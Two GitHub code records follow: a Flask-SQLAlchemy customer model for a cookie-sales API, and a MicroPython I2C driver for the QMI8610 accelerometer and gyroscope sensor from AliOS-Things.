+{"seq_id":"27089438059","text":"from db import db\nimport uuid\n\nclass CustomerModel(db.Model):\n    __tablename__ = \"customers\"\n\n    customer_id = db.Column(db.Integer, primary_key = True)\n    uuid_customer = db.Column(db.String(36))\n    name = db.Column(db.String(200))\n    telephone = db.Column(db.String(20))\n    email = db.Column(db.String(200))\n    is_vip = db.Column(db.String(100))\n\n    sale = db.relationship(\"SaleModel\", lazy = \"dynamic\")\n\n    def __init__(self, uuid_customer, name, telephone, email, is_vip):\n        self.uuid_customer = uuid_customer\n        self.name = name\n        self.telephone = telephone\n        self.email = email\n        self.is_vip = is_vip\n\n    def json(self):\n        return {\n            \"uuid_customer\": self.uuid_customer,\n            \"name\": self.name,\n            \"telephone\": self.telephone,\n            \"email\": self.email,\n            \"is_vip\": self.is_vip\n            }\n\n    @classmethod\n    def find_by_uuid(cls, uuid):\n        return cls.query.filter_by(uuid_customer = uuid).first()\n\n    @classmethod\n    def find_all(cls):\n        return cls.query.all()\n\n    def save_to_db(self):\n        db.session.add(self)\n        db.session.commit()\n\n    def delete_from_db(self):\n        db.session.delete(self)\n        db.session.commit()","repo_name":"CaueCaviglioni/Cookies-API","sub_path":"code/models/customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10512431422","text":"from micropython import const\nfrom driver import I2C\nfrom utime import sleep_ms\nimport math\n\nM_PI = (3.14159265358979323846)\nONE_G = (9.80665)\n\nFISIMU_STATUS1_CMD_DONE     = const(0x01)\nFISIMU_STATUS1_WAKEUP_EVENT = const(0x04)\nFISIMU_CTRL7_DISABLE_ALL    = const(0x0)\nFISIMU_CTRL7_ACC_ENABLE     = const(0x1)\nFISIMU_CTRL7_GYR_ENABLE     = const(0x2)\nFISIMU_CTRL7_MAG_ENABLE     = const(0x4)\nFISIMU_CTRL7_AE_ENABLE      = const(0x8)\nFISIMU_CTRL7_ENABLE_MASK    = const(0xF)\n\nFISIMU_CONFIG_ACC_ENABLE      = FISIMU_CTRL7_ACC_ENABLE\nFISIMU_CONFIG_GYR_ENABLE      = FISIMU_CTRL7_GYR_ENABLE\nFISIMU_CONFIG_MAG_ENABLE      = FISIMU_CTRL7_MAG_ENABLE\nFISIMU_CONFIG_AE_ENABLE       = FISIMU_CTRL7_AE_ENABLE\nFISIMU_CONFIG_ACCGYR_ENABLE   = (FISIMU_CONFIG_ACC_ENABLE | FISIMU_CONFIG_GYR_ENABLE)\nFISIMU_CONFIG_ACCGYRMAG_ENABLE = (FISIMU_CONFIG_ACC_ENABLE | FISIMU_CONFIG_GYR_ENABLE | FISIMU_CONFIG_MAG_ENABLE)\nFISIMU_CONFIG_AEMAG_ENABLE = (FISIMU_CONFIG_AE_ENABLE | FISIMU_CONFIG_MAG_ENABLE)\n\nFisRegister_WhoAmI = const(0)  # FIS device identifier register.\nFisRegister_Revision = const(1) # FIS hardware revision register.\nFisRegister_Ctrl1 = const(2)   # General and power management modes.\nFisRegister_Ctrl2 = const(3)   # Accelerometer control. *\nFisRegister_Ctrl3 = const(4)   # Gyroscope control.\nFisRegister_Ctrl4 = const(5)   # Magnetometer control.\nFisRegister_Ctrl5 = const(6)   # Data processing settings.\nFisRegister_Ctrl6 = const(7)   # AttitudeEngine control.\nFisRegister_Ctrl7 = const(8)   # Sensor enabled status.\nFisRegister_Ctrl8 = const(9)   # Reserved - do not write.\nFisRegister_Ctrl9 = const(10)  # Host command register.\nFisRegister_Cal1_L = const(11) # Calibration register 1 least significant byte.\nFisRegister_Cal1_H = const(12) # Calibration register 1 most significant byte.\nFisRegister_Cal2_L = const(13) # Calibration register 2 least significant byte.\nFisRegister_Cal2_H = const(14) # Calibration register 2 most significant byte.\nFisRegister_Cal3_L = const(15) # Calibration register 3 least significant byte.\nFisRegister_Cal3_H = const(16) # Calibration register 3 most significant byte.\nFisRegister_Cal4_L = const(17) # Calibration register 4 least significant byte.\nFisRegister_Cal4_H = const(18) # Calibration register 4 most significant byte.\nFisRegister_FifoCtrl = const(19) # FIFO control register.\nFisRegister_FifoData = const(20) # FIFO data register.\nFisRegister_FifoStatus = const(21) # FIFO status register.\nFisRegister_Status0 = const(22) # Output data overrun and availability.\nFisRegister_Status1 = const(23) # Miscellaneous status register.\nFisRegister_CountOut = const(24) # Sample counter.\nFisRegister_Ax_L = const(25) # Accelerometer X axis least significant byte.\nFisRegister_Ax_H = const(26) # Accelerometer X axis most significant byte.\nFisRegister_Ay_L = const(27) # Accelerometer Y axis least significant byte.\nFisRegister_Ay_H = const(28) # Accelerometer Y axis most significant byte.\nFisRegister_Az_L = const(29) # Accelerometer Z axis least significant byte.\nFisRegister_Az_H = const(30) # Accelerometer Z axis most significant byte.\nFisRegister_Gx_L = const(31) # Gyroscope X axis least significant byte.\nFisRegister_Gx_H = const(32) # Gyroscope X axis most significant byte.\nFisRegister_Gy_L = const(33) # Gyroscope Y axis least significant byte.\nFisRegister_Gy_H = const(34) # Gyroscope Y axis most significant byte.\nFisRegister_Gz_L = const(35) # Gyroscope Z axis least significant byte.\nFisRegister_Gz_H = const(36) # Gyroscope Z axis most significant byte.\nFisRegister_Mx_L = const(37) # Magnetometer X axis least significant byte.\nFisRegister_Mx_H = const(38) # Magnetometer X axis most significant byte.\nFisRegister_My_L = const(39) # Magnetometer Y axis least significant byte.\nFisRegister_My_H = const(40) # Magnetometer Y axis most significant byte.\nFisRegister_Mz_L = const(41) # Magnetometer Z axis least significant byte.\nFisRegister_Mz_H = const(42) # Magnetometer Z axis most significant byte.\nFisRegister_Q1_L = const(43) # Quaternion increment W least significant byte.\nFisRegister_Q1_H = const(44) # Quaternion increment W most significant byte.\nFisRegister_Q2_L = const(45) # Quaternion increment X least significant byte.\nFisRegister_Q2_H = const(46) # Quaternion increment X most significant byte.\nFisRegister_Q3_L = const(47) # Quaternion increment Y least significant byte.\nFisRegister_Q3_H = const(48) # Quaternion increment Y most significant byte.\nFisRegister_Q4_L = const(49) # Quaternion increment Z least significant byte.\nFisRegister_Q4_H = const(50) # Quaternion increment Z most significant byte.\nFisRegister_Dvx_L = const(51) # Velocity increment X least significant byte.\nFisRegister_Dvx_H = const(52) # Velocity increment X most significant byte.\nFisRegister_Dvy_L = const(53) # Velocity increment Y least significant byte.\nFisRegister_Dvy_H = const(54) # Velocity increment Y most significant byte.\nFisRegister_Dvz_L = const(55) # Velocity increment Z least significant byte.\nFisRegister_Dvz_H = const(56) # Velocity increment Z most significant byte.\nFisRegister_Temperature = const(57) # Temperature output.\nFisRegister_AeClipping = const(58) # AttitudeEngine clipping flags.\nFisRegister_AeOverflow = const(59) # AttitudeEngine overflow flags.\n\nCtrl9_Nop = const(0) # No operation.\nCtrl9_ResetFifo = const(0x2) # Reset FIFO.\nCtrl9_SetMagXCalibration = const(0x6)  # Set magnetometer X calibration values.\nCtrl9_SetMagYCalibration = const(0x7) # Set magnetometer Y calibration values.\nCtrl9_SetMagZCalibration = const(0x8) # Set magnetometer Z calibration values.\nCtrl9_SetAccelOffset = const(0x12) # Set accelerometer offset correction value.\nCtrl9_SetGyroOffset = const(0x13) # Set gyroscope offset correction value.\nCtrl9_SetAccelSensitivity = const(0x14) # Set accelerometer sensitivity.\nCtrl9_SetGyroSensitivity = const(0x15) # Set gyroscope sensitivity.\nCtrl9_UpdateMagBias = const(0xB) # Update magnemoter bias compensation.\nCtrl9_TriggerMotionOnDemand = const(0x0c) # Trigger motion on demand sample.\nCtrl9_UpdateAttitudeEngineGyroBias = const(0xE) # Update gyroscope bias compensation.\nCtrl9_ReadTrimmedFrequencyValue = const(0x18) # Read frequency correction value.\nCtrl9_ReadFifo = const(0x0D) # Prepare for FIFO read sequence.\nCtrl9_ConfigureWakeOnMotion = const(0x19) # Set wake on motion parameters.\n\nLpf_Disable = const(0) # Disable low pass filter.\nLpf_Enable  = const(1) # Enable low pass filter.\n\nHpf_Disable = const(0) # Disable high pass filter.\nHpf_Enable  = const(1) # Enable high pass filter.\n\nAccRange_2g = const(0 << 3)  # +/- 2g range\nAccRange_4g = const(1 << 3)  # +/- 4g range\nAccRange_8g = const(2 << 3)  # +/- 8g range\nAccRange_16g = const(3 << 3) # +/- 16g range\n\nAccOdr_1024Hz = const(0)         # High resolution 1024Hz output rate.\nAccOdr_256Hz = const(1)          # High resolution 256Hz output rate.\nAccOdr_128Hz = const(2)          # High resolution 128Hz output rate.\nAccOdr_32Hz = const(3)           # High resolution 32Hz output rate.\nAccOdr_LowPower_128Hz = const(4) # Low power 128Hz output rate.\nAccOdr_LowPower_64Hz = const(5)  # Low power 64Hz output rate.\nAccOdr_LowPower_25Hz = const(6)  # Low power 25Hz output rate.\nAccOdr_LowPower_3Hz = const(7)   # Low power 3Hz output rate.\n\nGyrRange_32dps = const(0 << 3)   # +-32 degrees per second.\nGyrRange_64dps = const(1 << 3)   # +-64 degrees per second.\nGyrRange_128dps = const(2 << 3)  # +-128 degrees per second.\nGyrRange_256dps = const(3 << 3)  # +-256 degrees per second.\nGyrRange_512dps = const(4 << 3)  # +-512 degrees per second.\nGyrRange_1024dps = const(5 << 3) # +-1024 degrees per second.\nGyrRange_2048dps = const(6 << 3) # +-2048 degrees per second.\nGyrRange_2560dps = const(7 << 3) # +-2560 degrees per second.\n\n\"\"\"\nGyroscope output rate configuration.\n\"\"\"\nGyrOdr_1024Hz           = const(0)   # High resolution 1024Hz output rate.\nGyrOdr_256Hz            = const(1)   # High resolution 256Hz output rate.\nGyrOdr_128Hz            = const(2)   # High resolution 128Hz output rate.\nGyrOdr_32Hz             = const(3)   # High resolution 32Hz output rate.\nGyrOdr_OIS_8192Hz       = const(6)   # OIS Mode 8192Hz output rate.\nGyrOdr_OIS_LL_8192Hz    = const(7)   # OIS LL Mode 8192Hz output rate.\n\nAeOdr_1Hz = const(0)  # 1Hz output rate.\nAeOdr_2Hz = const(1)  # 2Hz output rate.\nAeOdr_4Hz = const(2)  # 4Hz output rate.\nAeOdr_8Hz = const(3)  # 8Hz output rate.\nAeOdr_16Hz = const(4) # 16Hz output rate.\nAeOdr_32Hz = const(5) # 32Hz output rate.\nAeOdr_64Hz = const(6) # 64Hz output rate.\n\"\"\"\n    * Motion on demand mode.\n    *\n    * In motion on demand mode the application can trigger AttitudeEngine\n    * output samples as necessary. This allows the AttitudeEngine to be\n    * synchronized with external data sources.\n    *\n    * When in Motion on Demand mode the application should request new data\n    * by calling the FisImu_requestAttitudeEngineData() function. The\n    * AttitudeEngine will respond with a data ready event (INT2) when the\n    * data is available to be read.\n\"\"\"\nAeOdr_motionOnDemand = const(128) # 128Hz output rate.\n\nMagOdr_32Hz = const(2) # 32Hz output rate.\n\nMagDev_AK8975 = const(0 << 4) # AKM AK8975.\nMagDev_AK8963 = const(1 << 4) # AKM AK8963.\n\nAccUnit_g   = const(0) # Accelerometer output in terms of g (9.81m/s^2).\nAccUnit_ms2 = const(1) # Accelerometer output in terms of m/s^2.\n\nGyrUnit_dps  = const(0) # Gyroscope output in degrees/s.\nGyrUnit_rads = const(1) # Gyroscope output in rad/s.\n\nAXIS_X = const(0)\nAXIS_Y = const(1)\nAXIS_Z = const(2)\nAXIS_TOTAL = const(4)\n\n# FIS INT1 line.\nFis_Int1 = const(0 << 6)\n# FIS INT2 line.\nFis_Int2 = const(1 << 6)\n\nInterruptInitialState_high = const(1 << 7) # Interrupt high.\nInterruptInitialState_low  = const(0 << 7) # Interrupt low.\n\nWomThreshold_high = const(128) # High threshold - large motion needed to wake.\nWomThreshold_low  = const(32)  # Low threshold - small motion needed to wake.\n\nacc_lsb_div = 0\ngyro_lsb_div = 0\n\nqmi8610_dict = {'temp': 0.0, 'gyroX': 0.0, 'gyroY': 0.0, 'gyroZ': 0.0, 'accX': 0.0, 'accY': 0.0, 'accZ': 0.0}\n\n\nclass QMI8610(object):\n    \"\"\"\n    This class implements QMI8610 chip's defs.\n    \"\"\"\n\n    def __init__(self, i2cDev):\n        self._i2cDev = None\n        if not isinstance(i2cDev, I2C):\n            raise ValueError(\"parameter is not an I2C object\")\n        # make QMI8610's internal object points to i2cDev\n        self._i2cDev = i2cDev\n        # 初始化QMI8610传感器\n        r = self.init()\n        if r == 0:\n            raise ValueError(\"QMI8610 init error\")\n\n    def int16(self, dat):\n        if dat > (1 << 15):\n            return dat - (1 << 16)\n        else:\n            return dat\n\n    def int32(self, dat):\n        if dat > (1 << 31):\n            return dat - (1 << 32)\n        else:\n            return dat\n\n    #写寄存器\n    def writeReg(self, addr, value):\n            Reg = bytearray([addr, value])\n            self._i2cDev.write(Reg)\n            #print(\"--> write addr \" + str(addr) + \", value = \" + str(value))\n\n    #写多个寄存器\n    def writeRegs(self, addr, value, len):\n            Regs = bytearray(value)\n            if (len != Regs.count):\n                return \"Error code:%d, Error message: %s\" % (self, str(self.msg))\n            self.writeReg(addr,Regs)\n            #print(\"--> write addr \" + str(addr) + \", value = \" + str(Regs))\n\n   #读寄存器\n    def readReg(self, addr, len):\n        reg = bytearray([addr])\n        data = bytearray(len)\n\n        self._i2cDev.memRead(data, addr, 8)\n        #print(\"--> read \" + str(len) + \" bytes from addr \" + str(addr) + \", \" + str(len) + \" bytes value = \" + str(data))\n        return data\n\n    # 设置layout\n    def setLayout(self, layout):\n        sign = [1,2,3]\n        map = [1,2,3]\n        if (layout == 0):\n            sign[AXIS_X] = 1\n            sign[AXIS_Y] = 1\n            sign[AXIS_Z] = 1\n            map[AXIS_X] = AXIS_X\n            map[AXIS_Y] = AXIS_Y\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 1):\n            sign[AXIS_X] = -1\n            sign[AXIS_Y] = 1\n            sign[AXIS_Z] = 1\n            map[AXIS_X] = AXIS_Y\n            map[AXIS_Y] = AXIS_X\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 2):\n            sign[AXIS_X] = -1\n            sign[AXIS_Y] = -1\n            sign[AXIS_Z] = 1\n            map[AXIS_X] = AXIS_X\n            map[AXIS_Y] = AXIS_Y\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 3):\n            sign[AXIS_X] = 1\n            sign[AXIS_Y] = -1\n            sign[AXIS_Z] = 1\n            map[AXIS_X] = AXIS_Y\n            map[AXIS_Y] = AXIS_X\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 4):\n            sign[AXIS_X] = -1\n            sign[AXIS_Y] = 1\n            sign[AXIS_Z] = -1\n            map[AXIS_X] = AXIS_X\n            map[AXIS_Y] = AXIS_Y\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 5):\n            sign[AXIS_X] = 1\n            sign[AXIS_Y] = 1\n            sign[AXIS_Z] = -1\n            map[AXIS_X] = AXIS_Y\n            map[AXIS_Y] = AXIS_X\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 6):\n            sign[AXIS_X] = 1\n            sign[AXIS_Y] = -1\n            sign[AXIS_Z] = -1\n            map[AXIS_X] = AXIS_X\n            map[AXIS_Y] = AXIS_Y\n            map[AXIS_Z] = AXIS_Z\n        elif (layout == 7):\n            sign[AXIS_X] = 1\n            sign[AXIS_Y] = 1\n            sign[AXIS_Z] = 1\n            map[AXIS_X] = AXIS_X\n            map[AXIS_Y] = AXIS_Y\n            map[AXIS_Z] = AXIS_Z\n\n    def configACC(self, range, odr, lpfEnable, hpfEnable):\n        ctl_dada = 0\n        range_set = 0\n        global acc_lsb_div\n\n        if (range == AccRange_2g):\n            range_set = 0 << 3\n            acc_lsb_div = (1 << 14)\n        elif (range == AccRange_4g):\n            range_set = 1 << 3\n            acc_lsb_div = (1 << 13)\n        elif (range == AccRange_8g):\n            range_set = 2 << 3\n            acc_lsb_div = (1 << 12)\n        else:\n            range_set = 2 << 3\n            acc_lsb_div = (1 << 12)\n\n        ctl_dada = range_set | odr\n        self.writeReg(FisRegister_Ctrl2, ctl_dada)\n    # set LPF & HPF\n        ctl_dada = self.readReg(FisRegister_Ctrl5, 1)[0]\n        ctl_dada &= 0xfc\n        if (lpfEnable == Lpf_Enable):\n            ctl_dada |= 0x02\n        if (hpfEnable == Hpf_Enable):\n            ctl_dada |= 0x01\n\n        self.writeReg(FisRegister_Ctrl5, ctl_dada)\n\n    def configGyro(self, range, odr, lpfEnable, hpfEnable):\n        #  Set the CTRL3 register to configure dynamic range and ODR\n        global gyro_lsb_div\n        ctl_dada = range | odr\n        self.writeReg(FisRegister_Ctrl3, ctl_dada)\n\n        # Store the scale factor for use when processing raw data\n        if (range == GyrRange_32dps):\n            gyro_lsb_div = 1024\n        elif (range == GyrRange_64dps):\n            gyro_lsb_div = 512\n        elif (range == GyrRange_128dps):\n            gyro_lsb_div = 256\n        elif (range == GyrRange_256dps):\n            gyro_lsb_div = 128\n        elif (range == GyrRange_512dps):\n            gyro_lsb_div = 64\n        elif (range == GyrRange_1024dps):\n            gyro_lsb_div = 32\n        elif (range == GyrRange_2048dps):\n            gyro_lsb_div = 16\n        elif (range == GyrRange_2560dps):\n            #gyro_lsb_div = 8\n            pass\n        else:\n             gyro_lsb_div = 32\n\n        #  Conversion from degrees/s to rad/s if necessary\n        #  set LPF & HPF\n        ctl_dada = self.readReg(FisRegister_Ctrl5, 1)[0]\n        ctl_dada &= 0xf3\n\n        if (lpfEnable == Lpf_Enable):\n            ctl_dada |= 0x08\n        if (hpfEnable == Hpf_Enable):\n            ctl_dada |= 0x04\n        self.writeReg(FisRegister_Ctrl5, ctl_dada)\n\n    def configAe(self, odr):\n        # Configure Accelerometer and Gyroscope settings\n        self.configACC(AccRange_8g, AccOdr_1024Hz, Lpf_Enable, Hpf_Disable)\n        self.configGyro(GyrRange_2048dps, GyrOdr_1024Hz, Lpf_Enable, Hpf_Disable)\n        self.writeReg(FisRegister_Ctrl5, odr)\n\n    def readStatus0(self):\n        status = self.readReg(FisRegister_Status0, 1)[0]\n        return status\n\n    def readStatus1(self):\n        status = self.readReg(FisRegister_Status1, 1)[0]\n        return status\n\n    # 读取xyz的值\n    def readXyz(self):\n        buf_reg = bytearray(12)\n        raw_acc_xyz = [1, 2, 3]\n        raw_gyro_xyz = [1, 2, 3]\n        xyz_t = [1, 2, 3, 4, 5, 6]\n\n        buf_reg = self.readReg(FisRegister_Ax_L | 0x80, 12)\n\n        raw_acc_xyz[0] = self.int16((buf_reg[1] << 8) | (buf_reg[0]))\n        raw_acc_xyz[1] = self.int16((buf_reg[3] << 8) | (buf_reg[2]))\n        raw_acc_xyz[2] = self.int16((buf_reg[5] << 8) | (buf_reg[4]))\n\n        raw_gyro_xyz[0] = self.int16((buf_reg[7] << 8) | (buf_reg[6]))\n        raw_gyro_xyz[1] = self.int16((buf_reg[9] << 8) | (buf_reg[8]))\n        raw_gyro_xyz[2] = self.int16((buf_reg[11] << 8) | (buf_reg[10]))\n\n    # m/s2\n        xyz_t[0] = (raw_acc_xyz[0] * ONE_G) / acc_lsb_div\n        xyz_t[1] = (raw_acc_xyz[1] * ONE_G) / acc_lsb_div\n        xyz_t[2] = (raw_acc_xyz[2] * ONE_G) / acc_lsb_div\n\n        xyz_t[0] = -xyz_t[0]\n        xyz_t[1] = -xyz_t[1]\n        xyz_t[2] = -xyz_t[2]\n    #  rad/s\n        xyz_t[3] = (raw_gyro_xyz[0] * M_PI / 180) / gyro_lsb_div\n        xyz_t[4] = (raw_gyro_xyz[1] * M_PI / 180) / gyro_lsb_div\n        xyz_t[5] = (raw_gyro_xyz[2] * M_PI / 180) / gyro_lsb_div\n\n        xyz_t[3] = xyz_t[3]\n        xyz_t[4] = xyz_t[4]\n        xyz_t[5] = -xyz_t[5]\n\n        return xyz_t\n\n    def applyScaleFactor(self, scaleFactor, nElements, rawData, calibratedData):\n        for i in range(nElements):\n            calibratedData[i] = (scaleFactor * rawData[2 * i]) | (rawData[2 * i + 1] << 8)\n\n    def processAccelerometerData(self, rawData, calibratedData):\n        self.applyScaleFactor(ONE_G/acc_lsb_div, 3, rawData, calibratedData)\n\n    def processGyroscopeData(self, rawData, calibratedData):\n        self.applyScaleFactor(M_PI / (gyro_lsb_div * 180), 3, rawData, calibratedData)\n\n    def readRawsample(self, rawData, calibratedData):\n        self.applyScaleFactor(M_PI / (gyro_lsb_div * 180), 3, rawData, calibratedData)\n\n    def writeCalibrationVectorBuffer(self, calVector, conversionFactor, fractionalBits):\n        o = 0\n        calCmd = bytearray(6)\n\n        for i in range(3):\n            o = round(calVector[i] * conversionFactor * (1 << fractionalBits))\n            calCmd[(2 * i)] = o & 0xFF\n            calCmd[(2 * i) + 1] = o >> 8\n        self.writeRegs(FisRegister_Cal1_L, calCmd, 6)\n\n    def doCtrl9Command(self, cmd):\n        gyroConfig = 0\n        oisModeBits = const(0x06)\n        oisEnabled = 0\n        status = 0\n        count = 0\n\n        gyroConfig = self.readReg(FisRegister_Ctrl3, 1)[0]\n        oisEnabled = ((gyroConfig & oisModeBits) == oisModeBits)\n\n        if (oisEnabled):\n            self.writeReg(FisRegister_Ctrl3, (gyroConfig & ~oisModeBits))\n\n        self.writeReg(FisRegister_Ctrl9, cmd)\n\n        # Check that command has been executed\n        while (((status & FISIMU_STATUS1_CMD_DONE) == 0) and (count < 10000)):\n            status = self.readReg(FisRegister_Status1, 1)[0]\n            count += 1\n\n        if (oisEnabled):\n        # Re-enable OIS mode configuration if necessary\n            self.writeReg(FisRegister_Ctrl3, gyroConfig)\n\n    def applyAccelerometerOffset(self, offset, unit):\n        if (unit == AccUnit_ms2):\n            conversionFactor = 1 / ONE_G\n        else:\n            conversionFactor = 1\n        self.writeCalibrationVectorBuffer(offset, conversionFactor, 11)\n        self.doCtrl9Command(Ctrl9_SetAccelOffset)\n\n    def applyGyroscopeOffset(self, offset, unit):\n        if (unit == GyrUnit_rads):\n            conversionFactor = 180 / M_PI\n        else:\n            conversionFactor = 1\n        self.writeCalibrationVectorBuffer(offset, conversionFactor, 6)\n        self.doCtrl9Command(Ctrl9_SetGyroOffset)\n\n    def applyOffsetCalibration(self, accUnit, accOffset, gyrUnit, gyrOffset):\n        self.applyAccelerometerOffset(accOffset, accUnit)\n        self.applyGyroscopeOffset(gyrOffset, gyrUnit)\n\n# for XKF3\n    def enableWakeOnMotion(self):\n        womCmd = bytearray[3]\n        interrupt = Fis_Int1\n        initialState = InterruptInitialState_low\n        threshold = WomThreshold_low\n        blankingTime = 0x00\n        blankingTimeMask = 0x3F\n\n        self.enableSensors(FISIMU_CTRL7_DISABLE_ALL)\n        self.configACC(AccRange_2g, AccOdr_LowPower_25Hz, Lpf_Disable, Hpf_Disable)\n\n        womCmd[0] = FisRegister_Cal1_L # WoM Threshold: absolute value in mg (with 1mg/LSB resolution)\n        womCmd[1] = threshold\n        womCmd[2] = interrupt | initialState | (blankingTime & blankingTimeMask)\n        self.writeReg(FisRegister_Cal1_L, womCmd[1])\n        self.writeReg(FisRegister_Cal1_H, womCmd[2])\n\n        self.doCtrl9Command(Ctrl9_ConfigureWakeOnMotion)\n        self.enableSensors(FISIMU_CTRL7_ACC_ENABLE)\n\n    def disableWakeOnMotion(self):\n        self.enableSensors(FISIMU_CTRL7_DISABLE_ALL)\n        self.writeReg(FisRegister_Cal1_L, 0)\n        self.doCtrl9Command(Ctrl9_ConfigureWakeOnMotion)\n\n    def enableSensors(self, enableFlags):\n        if (enableFlags & FISIMU_CONFIG_AE_ENABLE):\n            enableFlags |= FISIMU_CTRL7_ACC_ENABLE | FISIMU_CTRL7_GYR_ENABLE\n        self.writeReg(FisRegister_Ctrl7, enableFlags & FISIMU_CTRL7_ENABLE_MASK)\n\n    def configMAG(self, device, odr):\n        pass\n\n    def configApply(self, inputSelection, accRange, accOdr, gyrRange, gyrOdr, aeOdr, magOdr, magDev):\n        fisSensors = inputSelection\n        if (fisSensors & FISIMU_CONFIG_AE_ENABLE):\n            self.configAe(aeOdr)\n        else:\n            if (inputSelection & FISIMU_CONFIG_ACC_ENABLE):\n                self.configACC(accRange, accOdr, Lpf_Enable, Hpf_Disable)\n            if (inputSelection & FISIMU_CONFIG_GYR_ENABLE):\n                self.configGyro(gyrRange, gyrOdr, Lpf_Enable, Hpf_Disable)\n\n        if (inputSelection & FISIMU_CONFIG_MAG_ENABLE):\n            self.configMAG(magDev, magOdr)\n\n        self.enableSensors(fisSensors)\n\n    # 得到温度值\n    # 返回值:温度值\n    def getTemperature(self):\n        temp = self.readReg(FisRegister_Temperature, 1)[0]\n        return round(temp, 2)\n\n    # 得到加速度值(原始值)\n    # (gx,gy,gz):陀螺仪x,y,z轴的重力加速度，单位：m/s²\n    # 返回值:0,成功\n    # 其他,错误代码\n    def getAcceleration(self):\n        global acc_lsb_div\n        buf_reg = bytearray(6)\n        raw_acc_xyz = [1, 2, 3]\n        acc_xyz = [1, 2, 3]\n\n        buf_reg[0] = self.readReg(FisRegister_Ax_L, 1)[0]\n        buf_reg[1] = self.readReg(FisRegister_Ax_H, 1)[0]\n        buf_reg[2] = self.readReg(FisRegister_Ay_L, 1)[0]\n        buf_reg[3] = self.readReg(FisRegister_Ay_H, 1)[0]\n        buf_reg[4] = self.readReg(FisRegister_Az_L, 1)[0]\n        buf_reg[5] = self.readReg(FisRegister_Az_H, 1)[0]\n\n        raw_acc_xyz[0] = self.int16((buf_reg[1] << 8) | (buf_reg[0]))\n        raw_acc_xyz[1] = self.int16((buf_reg[3] << 8) | (buf_reg[2]))\n        raw_acc_xyz[2] = self.int16((buf_reg[5] << 8) | (buf_reg[4]))\n\n        print(\"raw acc is acc0[%d] acc1[%d] acc2[%d]\" %(raw_acc_xyz[0], raw_acc_xyz[1], raw_acc_xyz[2]))\n\n        acc_xyz[0] = (raw_acc_xyz[0] * ONE_G) / acc_lsb_div\n        acc_xyz[1] = (raw_acc_xyz[1] * ONE_G) / acc_lsb_div\n        acc_xyz[2] = (raw_acc_xyz[2] * ONE_G) / acc_lsb_div\n        print(\"fis210x acc is\", acc_xyz[0], acc_xyz[1], acc_xyz[2])\n        return acc_xyz\n\n    # 得到陀螺仪值(原始值)\n    # gx,gy,gz:陀螺仪x,y,z轴的原始读数(带符号)\n    # 返回值:0,成功\n    # 其他,错误代码\n    def getGyro(self):\n        global gyro_lsb_div\n        buf_reg = bytearray(6)\n        raw_gyro_xyz = [1, 2, 3]\n        gyro_xyz = [1, 2, 3]\n        #buf_reg = self.readReg(FisRegister_Gx_L, 6)\n\n        buf_reg[0] = self.readReg(FisRegister_Gx_L, 1)[0]\n        buf_reg[1] = self.readReg(FisRegister_Gx_H, 1)[0]\n        buf_reg[2] = self.readReg(FisRegister_Gy_L, 1)[0]\n        buf_reg[3] = self.readReg(FisRegister_Gy_H, 1)[0]\n        buf_reg[4] = self.readReg(FisRegister_Gz_L, 1)[0]\n        buf_reg[5] = self.readReg(FisRegister_Gz_H, 1)[0]\n\n        raw_gyro_xyz[0] = self.int16((buf_reg[1] << 8) | (buf_reg[0]))\n        raw_gyro_xyz[1] = self.int16((buf_reg[3] << 8) | (buf_reg[2]))\n        raw_gyro_xyz[2] = self.int16((buf_reg[5] << 8) | (buf_reg[4]))\n\n        #print(\"raw gyro is g0[%d] g1[%d g2[%d]\" %(raw_gyro_xyz[0], raw_gyro_xyz[1], raw_gyro_xyz[2]))\n\n        gyro_xyz[0] = (raw_gyro_xyz[0] * 1.0) / gyro_lsb_div\n        gyro_xyz[1] = (raw_gyro_xyz[1] * 1.0) / gyro_lsb_div\n        gyro_xyz[2] = (raw_gyro_xyz[2] * 1.0) / gyro_lsb_div\n\n        #print(\"fis210x gyro is\", gyro_xyz[0], gyro_xyz[1], gyro_xyz[2])\n        return gyro_xyz\n\n    def getData(self):\n        global qmi8610_dict\n        qmi8610_dict['temp'] = self.getTemperature()\n        arr = self.getGyro()\n        qmi8610_dict['gyroX'] = arr[0]\n        qmi8610_dict['gyroY'] = arr[1]\n        qmi8610_dict['gyroZ'] = arr[2]\n        brr = self.getAcceleration()\n        qmi8610_dict['accX'] = brr[0]\n        qmi8610_dict['accY'] = brr[1]\n        qmi8610_dict['accZ'] = brr[2]\n        return qmi8610_dict\n\n    def init(self):\n\n        chip_id = 0x00\n\n        chip_id = self.readReg(FisRegister_WhoAmI, 1)[0]\n        sleep_ms(100)\n        if (chip_id == 0xfc):\n            inputSelection = FISIMU_CONFIG_ACCGYR_ENABLE\n            accRange = AccRange_4g\n            accOdr = AccOdr_128Hz\n            gyrRange = GyrRange_1024dps # GyrRange_1024dps;\n            gyrOdr = GyrOdr_256Hz # GyrOdr_1024Hz\n            magOdr = MagOdr_32Hz\n            magDev = MagDev_AK8963\n            aeOdr = AeOdr_32Hz\n            sleep_ms(100)\n\n            self.configApply(inputSelection, accRange, accOdr, gyrRange, gyrOdr, aeOdr, magOdr, magDev)\n            sleep_ms(100)\n            self.setLayout(2)\n        else:\n            chip_id = 0\n\n        return chip_id\n","repo_name":"alibaba/AliOS-Things","sub_path":"haas_lib_bundles/python/libraries/qmi8610/qmi8610.py","file_name":"qmi8610.py","file_ext":"py","file_size_in_byte":25755,"program_lang":"python","lang":"en","doc_type":"code","stars":4479,"dataset":"github-code","pt":"16"}
